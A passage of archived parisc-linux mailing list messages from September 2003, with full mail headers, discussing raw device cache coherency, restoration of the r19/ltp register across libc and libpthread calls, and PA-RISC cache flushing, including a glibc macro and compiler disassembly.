>>then the nanosec (iirc 10^-9) (because it doesn't seems to me possible 
>>to get enough accuracy with cpu clock < 10^9 ie 1Ghz: the most case for 
>>parisc systems). Does it exist such device and where to start to read 
>>some doc?
>>    
>>
>
>We could use cr16 to get better accuracy. See list discussions about
>fast gettimeofday.
>  
>
ha ok I will have a look :)

Thanks a lot,
    Joel



From - Thu Nov 08 21:29:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephen C. Tweedie" <sct@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [Fwd: [parisc-linux] Problems with raw interface.]
Date: 19 Sep 2003 17:34:04 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <1063989244.2834.48.camel@sisko.scot.redhat.com>
References: <1063919293.16536.2.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622786 31039 80.91.229.3 (22 Nov 2014 02:19:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:46 +0000 (UTC)
Cc: Stephen Tweedie <sct@redhat.com>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	Ranjith Sudarsanan <ranjith_sudarsanan@hp.com>,
	"parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 10:34:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sisko.scot.redhat.com (82-41-9-54.cable.ubr02.edin.blueyonder.co.uk [82.41.9.54])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2BEBA48A0
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Sep 2003 10:34:20 -0600 (MDT)
Original-Received: from sisko.scot.redhat.com (localhost [127.0.0.1])
	by sisko.scot.redhat.com (8.12.8/8.12.8) with ESMTP id h8JGY6BX009676;
	Fri, 19 Sep 2003 17:34:06 +0100
Original-Received: (from sct@localhost)
	by sisko.scot.redhat.com (8.12.8/8.12.8/Submit) id h8JGY4l9009674;
	Fri, 19 Sep 2003 17:34:04 +0100
X-Authentication-Warning: sisko.scot.redhat.com: sct set sender to sct@redhat.com using -f
In-Reply-To: <1063919293.16536.2.camel@dhcp23.swansea.linux.org.uk>
X-Mailer: Ximian Evolution 1.2.2 (1.2.2-5) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19542

Hi,

On Thu, 2003-09-18 at 22:08, Alan Cox wrote:
> Might interest you since this is possibly showing raw has cache
> coherency issues with HPPA (which is basically software coherency only)

> -----Forwarded Message-----
> > From: "SUDARSANAN,RANJITH (HP-India,ex2)" <ranjith_sudarsanan@hp.com>
> > To: parisc-linux@lists.parisc-linux.org
> > Subject: [parisc-linux] Problems with raw interface.
> > Date: Fri, 19 Sep 2003 00:36:55 +0530

> >         I am developing a scsi disk exerciser and I am blocked on a
> > strange problem with the raw interface. When I use the block device
> > /dev/sda directly I am able to read and write from the disk properly.
> > But when I use the raw interface I get garbage. For instance please
> > look at the output below. I am reading the 1st sector of the disk,
> > which is the boot sector, When I use the block device /dev/sda I get
> > my expected output, whereas when I use the raw interface I get
> > garbage. Can any one explain? The machine I am using is an L Class. 

Do you _ever_ get valid output, or is raw always failing?  There may
well be a cache coherency point being missed.

The key places are rw_raw_dev(), where we set up the virtual address to
physical page mappings, and brw_kiovec(), where the actual physical page
IO is done.

--Stephen



From - Thu Nov 08 21:29:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] r19 (aka pic-register akak ltp) not restored on entry back to libc from libpthread?
Date: Fri, 19 Sep 2003 12:56:46 -0400 (EDT)
Lines: 19
Approved: news@gmane.org
Message-ID: <200309191656.h8JGukWJ003212@hiauly1.hia.nrc.ca>
References: <20030919135606.GE18225@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622787 31041 80.91.229.3 (22 Nov 2014 02:19:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:47 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 10:56:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id C4E75489F
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Sep 2003 10:56:53 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h8JGukYP003214;
	Fri, 19 Sep 2003 12:56:47 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h8JGukWJ003212;
	Fri, 19 Sep 2003 12:56:46 -0400 (EDT)
In-Reply-To: <20030919135606.GE18225@systemhalted> from "Carlos O'Donell" at Sep 19, 2003 09:56:07 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19543

> Hold your horses here, we made it back into libc but our ltp is still
> that which we loaded upon entry to libpthread? :(

That's ok.  It's the responsibility of the libc code to restore ltp
after a call or exception.  However, as discussed previously, there
is no restoration after a syscall.  That should be the system's job,
although I believe you were going to introduce a hack/workaround to
fix the syscalls that clobber r19.

You need to step through the libc code from the return point in
libc to see why ltp isn't being restored.  Possibly, libpthread is
being called by assembly code that doesn't restore ltp.  Normally,
r19 is restored quite soon after a call.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] r19 (aka pic-register akak ltp) not restored on entry back to libc from libpthread?
Date: Fri, 19 Sep 2003 13:51:42 -0400
Lines: 61
Approved: news@gmane.org
Message-ID: <20030919175142.GI18225@systemhalted>
References: <20030919135606.GE18225@systemhalted> <200309191656.h8JGukWJ003212@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622787 31043 80.91.229.3 (22 Nov 2014 02:19:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:47 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 11:53:55 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8737F4841
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Sep 2003 11:53:55 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A0PPy-0001pc-00; Fri, 19 Sep 2003 13:51:42 -0400
Content-Disposition: inline
In-Reply-To: <200309191656.h8JGukWJ003212@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19544

On Fri, Sep 19, 2003 at 12:56:46PM -0400, John David Anglin wrote:
> > Hold your horses here, we made it back into libc but our ltp is still
> > that which we loaded upon entry to libpthread? :(
> 
> That's ok.  It's the responsibility of the libc code to restore ltp
> after a call or exception.  However, as discussed previously, there
> is no restoration after a syscall.  That should be the system's job,
> although I believe you were going to introduce a hack/workaround to
> fix the syscalls that clobber r19.

For all syscalls whose wrappers are pure assembly or __asm(...) I have
placed restorations to follow ABI. This fixed all of the major failures.
It's a bit drastic, but it fixes the issue until I know exactly which
syscall numbers clobber r19. It looks like just fork and it's variants
that stick a return address into PT_REGS's r19. That's a side issue
about optimization though. 

> You need to step through the libc code from the return point in
> libc to see why ltp isn't being restored.  Possibly, libpthread is
> being called by assembly code that doesn't restore ltp.  Normally,
> r19 is restored quite soon after a call.

There should be no assembly code glue between the calls.
What about the gcc optimization where we don't restore r19 if it's not
used between the last call and the return?

mutex_unlock becomes:
__libc_maybe_call (__pthread_mutex_unlock, (m), (*(int *)(m) = 0))

Which is a big monstrosity that looks like it might be casting things
incorrectly for hppa...

===
#if defined _LIBC && defined IS_IN_libpthread
# define __libc_maybe_call(FUNC, ARGS, ELSE) FUNC ARGS
#else
# if defined __PIC__ || (defined _LIBC && defined SHARED)
#  define __libc_maybe_call(FUNC, ARGS, ELSE) \
  (__extension__ ({ __typeof (FUNC) *_fn = (FUNC); \
                    _fn != NULL ? (*_fn) ARGS : ELSE; }))
# else
#  define __libc_maybe_call(FUNC, ARGS, ELSE) \
  (FUNC != NULL ? FUNC ARGS : ELSE)
# endif
#endif
#if defined _LIBC && !defined NOT_IN_libc && defined SHARED
# define __libc_maybe_call2(FUNC, ARGS, ELSE) \
  ({__builtin_expect (__libc_pthread_functions.ptr_##FUNC != NULL, 0) \
    ? __libc_pthread_functions.ptr_##FUNC ARGS : ELSE; })
#else
# define __libc_maybe_call2(FUNC, ARGS, ELSE) __libc_maybe_call
# (__##FUNC, ARGS, ELSE)
#endif
===

I have class, then I'll be back to -E some of the malloc build to see
what this evaluates to and then try to determine if gcc did the right
thing.

c.


From - Thu Nov 08 21:29:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim.hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: Fri, 19 Sep 2003 11:24:50 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <00e301c37edb$50a11f20$f463f40f@jh733133>
References: <1063980175.1929.7.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622787 31044 80.91.229.3 (22 Nov 2014 02:19:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:47 +0000 (UTC)
Cc: "'PARISC list'" <parisc-linux@lists.parisc-linux.org>
To: "'James Bottomley'" <James.Bottomley@steeleye.com>,
	"'Randolph Chung'" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 12:23:36 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 88083483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Sep 2003 12:23:36 -0600 (MDT)
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel12.hp.com (Postfix) with ESMTP
	id 038CE1C018D5; Fri, 19 Sep 2003 11:23:36 -0700 (PDT)
Original-Received: from jh733133 (dhcp42uvi498.cup.hp.com [15.244.99.244])
	by lucy.cup.hp.com (8.9.3 (PHNE_24419+JAGae58098)/8.9.3 SMKit7.02) with ESMTP id LAA08838;
	Fri, 19 Sep 2003 11:23:32 -0700 (PDT)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <1063980175.1929.7.camel@mulgrave>
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19545

James Bottomley wrote:

> But it does beg the question: I think all of the PA arch docs require
> the dcache to be flushed before the icache for all icache flushing, so
> is there any point exporting an API that only flushes the icache?

Not true.  If you know that the line can't be in the d-cache, then
flushing the i-cache is sufficient (and vice-versa).  See "Data Cache
Move-In", "Instruction Cache Move-In", and "Cache Flushing" in Appendix
F of "PA-RISC 2.0 Architecture" (aka, "The Kane Book"), for details.

Now, whether pa-linux keeps track of whether a line could be in only the
d- or i-cache, with sufficient accuracy to avoid the other flush, I have
no idea.  HP-UX does attempt to track this, but doing so in every case
can be really tricky, and tracking down the data (or instruction)
corruption bugs when you miss some obscure case is a nightmare (and I
have the scars to prove it :).

 -- Jim
    HP PA-RISC/Itanium Processor Architect



From - Thu Nov 08 21:29:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] r19 (aka pic-register akak ltp) not restored on
	entry back to libc from libpthread?
Date: 19 Sep 2003 13:26:44 -0500
Lines: 54
Approved: news@gmane.org
Message-ID: <1063996009.1832.34.camel@mulgrave>
References: <20030919135606.GE18225@systemhalted>
	<200309191656.h8JGukWJ003212@hiauly1.hia.nrc.ca> 
	<20030919175142.GI18225@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622788 31052 80.91.229.3 (22 Nov 2014 02:19:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:48 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
	dave.anglin@nrc-cnrc.gc.ca,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 12:27:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3E505483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Sep 2003 12:27:30 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h8JIQkI19286;
	Fri, 19 Sep 2003 14:26:46 -0400
In-Reply-To: <20030919175142.GI18225@systemhalted>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19546

On Fri, 2003-09-19 at 12:51, Carlos O'Donell wrote:
> mutex_unlock becomes:
> __libc_maybe_call (__pthread_mutex_unlock, (m), (*(int *)(m) = 0))

This seems all to work:

A test file

main() {
  int t1 = 4;
  __libc_maybe_call(test1, (t1), (t1=3));
}

compiles (PIC) to:

00000000 <main>:
[...]
 20:   2a 60 00 00     addil 0,r19,%r1
                        20: R_PARISC_DLTIND21L  .LC0
  24:   48 21 00 00     ldw 0(r1),r1
                        24: R_PARISC_DLTIND14R  .LC0
  28:   0c 20 10 94     ldw 0(,r1),r20
  2c:   0c 74 12 98     stw r20,c(,r3)
  30:   0c 78 10 94     ldw c(,r3),r20
  34:   86 80 20 3a     cmpib,=,n 0,r20,58 <main+0x58>
  38:   0c 78 10 94     ldw c(,r3),r20
  3c:   0c 70 10 9a     ldw 8(,r3),r26
  40:   08 14 02 56     copy r20,r22
  44:   08 13 02 44     copy r19,r4
  48:   eb e0 00 00     b,l 50 <main+0x50>,r31
                        48: R_PARISC_PCREL17F   $$dyncall
  4c:   08 1f 02 42     copy r31,rp
  50:   08 04 02 53     copy r4,r19
[...]
00000000 <.LC0>:
   0:   00 00 00 00     break 0,0
                        0: R_PARISC_PLABEL32    test1
[...]
00010578 <$$dyncall>:
   10578:	c7 d6 c0 12 	bb,>=,n r22,1e,10588 <$$dyncall+0x10>
   1057c:	d6 c0 1c 1e 	depwi 0,31,2,r22
   10580:	0e c8 10 93 	ldw 4(,r22),r19
   10584:	0e c0 10 96 	ldw 0(,r22),r22
   10588:	ea c0 c0 00 	bv r0(r22)
   1058c:	6b c2 3f d1 	stw rp,-18(sp)


The $$dyncall is where we indirect through r20 (which contains the
function pointer).  Note the copy restoring r19 around this.

James




From - Thu Nov 08 21:29:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] r19 (aka pic-register akak ltp) not restored on
Date: Fri, 19 Sep 2003 14:55:30 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200309191855.h8JItUaf003758@hiauly1.hia.nrc.ca>
References: <1063996009.1832.34.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622788 31056 80.91.229.3 (22 Nov 2014 02:19:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:48 +0000 (UTC)
Cc: carlos@baldric.uwo.ca, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: James.Bottomley@steeleye.com (James Bottomley)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 12:55:35 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22E6A483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Sep 2003 12:55:34 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id h8JItVYP003759;
	Fri, 19 Sep 2003 14:55:31 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id h8JItUaf003758;
	Fri, 19 Sep 2003 14:55:30 -0400 (EDT)
In-Reply-To: <1063996009.1832.34.camel@mulgrave> from "James Bottomley" at Sep 19, 2003 01:26:44 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19547

> On Fri, 2003-09-19 at 12:51, Carlos O'Donell wrote:
> > mutex_unlock becomes:
> > __libc_maybe_call (__pthread_mutex_unlock, (m), (*(int *)(m) = 0))
> 
> This seems all to work:

Yah, the normal code that gcc generates to restore the ltp is very
extensively tested.  Shared libraries would break almost instantly
if there were major problems.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


From - Thu Nov 08 21:29:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] r19 (aka pic-register akak ltp) not restored on
Date: Fri, 19 Sep 2003 15:28:13 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20030919192813.GL18225@systemhalted>
References: <1063996009.1832.34.camel@mulgrave> <200309191855.h8JItUaf003758@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622788 31058 80.91.229.3 (22 Nov 2014 02:19:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:48 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@steeleye.com>,
	dave.anglin@nrc-cnrc.gc.ca, parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 13:30:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 83861483E
	for <parisc-linux@lists.parisc-linux.org>; Fri, 19 Sep 2003 13:30:27 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A0QvN-0002Vf-00; Fri, 19 Sep 2003 15:28:13 -0400
Content-Disposition: inline
In-Reply-To: <200309191855.h8JItUaf003758@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (98% Sync Ratio [==========])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19548

On Fri, Sep 19, 2003 at 02:55:30PM -0400, John David Anglin wrote:
> > On Fri, 2003-09-19 at 12:51, Carlos O'Donell wrote:
> > > mutex_unlock becomes:
> > > __libc_maybe_call (__pthread_mutex_unlock, (m), (*(int *)(m) = 0))
> > 
> > This seems all to work:
> 
> Yah, the normal code that gcc generates to restore the ltp is very
> extensively tested.  Shared libraries would break almost instantly
> if there were major problems.
> 

If it were major we would have fixed it :)
I'm trying to find the "missed a restore" point.

c.


From - Thu Nov 08 21:29:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] r19 (aka pic-register akak ltp) not restored on
Date: Fri, 19 Sep 2003 16:10:47 -0400 (EDT)
Lines: 15
Approved: news@gmane.org
Message-ID: <200309192010.h8JKAlHs004032@hiauly1.hia.nrc.ca>
References: <20030919192813.GL18225@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622789 31060 80.91.229.3 (22 Nov 2014 02:19:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:19:49 +0000 (UTC)
Cc: James.Bottomley@steeleye.com, dave.anglin@nrc-cnrc.gc.ca,
	parisc-linux@lists.parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Sep 19 14:10:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
